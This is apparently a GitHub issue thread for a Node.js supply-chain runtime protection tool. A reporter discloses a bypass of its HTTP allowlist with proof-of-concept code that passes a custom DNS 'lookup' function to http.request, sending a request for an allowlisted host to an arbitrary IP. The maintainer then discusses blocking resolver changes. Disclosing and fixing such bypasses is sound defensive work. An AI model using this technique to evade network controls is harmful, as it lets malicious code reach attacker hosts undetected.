yaakov123 / hagana

NodeJS runtime protection for supply chain attacks
MIT License
142 stars 3 forks source link

Lookup HTTP(S) bypass #5

Open Mickael-van-der-Beek opened 2 years ago

Mickael-van-der-Beek commented 2 years ago

I found another bypass, this time on the network (HTTP(S)) access control side.

It's possible to specify a custom IP address resolver which will resolve the whitelisted domain name to a malicious, attacker planted, IP address.

e.g:

import http from 'http';

export function run () {
  return new Promise((resolve, reject) => {
    const maliciousHost = 'example.com';
    const maliciousIp = '93.184.216.34';
    const chunks = [];

    const req = http.request(
      'http://httpbin.org/get',
      {
        lookup: (_hostname, _options, callback) => callback(null, maliciousIp, 4),
        headers: {
          Host: maliciousHost
        }
      },
      res => {
        res.on('data', chunk => chunks.push(chunk));

        res.once('end', () => {
          console.log('RESPONSE=', Buffer.concat(chunks).toString());
          resolve();
        });  
      }
    );

    req.once('error', reject);

    req.end();
  });
}
yaakov123 commented 2 years ago

After thinking about this for a bit, I suppose the correct approach here is to create a whitelist for allowed DNS resolver IPs

Mickael-van-der-Beek commented 2 years ago

@yaakov123 Probably. It's a bit risky though since IP addresses could change after the application has been run.

Usually the custom lookup is used for two reasons:

Safest is a list of allowed IP addresses and next safest would probably be to block the feature altogether. :/

yaakov123 commented 2 years ago

I see. I think the approach of blocking all entrypoints to changing the DNS resolver IP (e.g. dns.setServers, and lookup, resolve) and only allowing resolvers known ahead of time.